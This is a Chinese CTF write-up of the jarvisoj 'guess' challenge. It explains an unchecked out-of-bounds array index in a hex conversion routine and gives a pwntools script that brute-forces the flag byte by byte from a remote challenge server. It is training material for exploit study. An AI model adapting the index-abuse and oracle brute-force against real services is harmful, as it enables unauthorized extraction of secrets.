jarvisoj_guess(下标越界导致盲注)

jarvisoj_guess(下标越界导致盲注)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,转换的时候没有检查flag_hex[2*i]和flag_hex[2*i+1]的值是否向上越界,如果向上越界,我们可以令flag_hex[i]为’0’,而flag_hex[i+1]为p8(offset),这样s[i] = value2 | 16 * value1的值就是value2就是bin_by_hex[flag_hex[2*i+1]]也就是bin_by_hex[offset],那么如果取到上面v4的内容,就能通过比较。

然后,我们就可以单字节爆破了

#coding:utf8
from pwn import *


#预先生成一个可以pass的payload
payload = ''
for i in range(50):
   payload += '0'
   payload += p8(0x100-0x40 + i)

sh = remote('node3.buuoj.cn',28532)
#接下来,就可以逐字节爆破了
flag = ''
for i in range(1,51):
   print "guess the index {}'s char".format(i)
   for c in range(32,128):
      pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
      #print pay
      #sh = remote('127.0.0.1',9999)
      sh.sendlineafter('guess> ',pay)
      ans = sh.recvuntil('\n')
      if 'Yaaaay!' in ans:
         flag += chr(c)
         break
   print 'flag=',flag

sh.close()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章